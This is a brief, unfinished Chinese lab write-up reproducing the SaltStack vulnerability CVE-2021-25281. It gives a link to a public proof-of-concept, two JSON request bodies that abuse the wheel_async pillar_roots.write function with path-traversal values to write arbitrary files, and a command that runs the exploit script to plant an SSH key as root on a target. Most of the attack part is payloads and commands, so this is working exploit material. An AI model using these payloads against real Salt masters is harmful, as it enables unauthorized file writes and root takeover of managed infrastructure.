漏洞描述

Salt 基于 Python 构建，使用简单易读的 YAML 结合事件驱动的自动化来部署和配置复杂的 IT 系统。

漏洞环境

CVE-2021-25281

漏洞复现

访问靶场，界面如下：

nuclei扫描

poc

https://github.com/Immersive-Labs-Sec/CVE-2021-25281

"client": "wheel_async",
"fun": "pillar_roots.write",
"data": "../../../../../tmp/test2",
"path": "../../../../../tmp/test2",
"username": "password",
"password": "username",
"eauth": "pam"

"client": "wheel_async",
"fun": "pillar_roots.write",
"data": "../../../../../tmp/test2",
"path": "../../../../../tmp/test2",
"eauth": "auto"

未完成

Python3 cve.py x.x x.x ssh -u root key.pub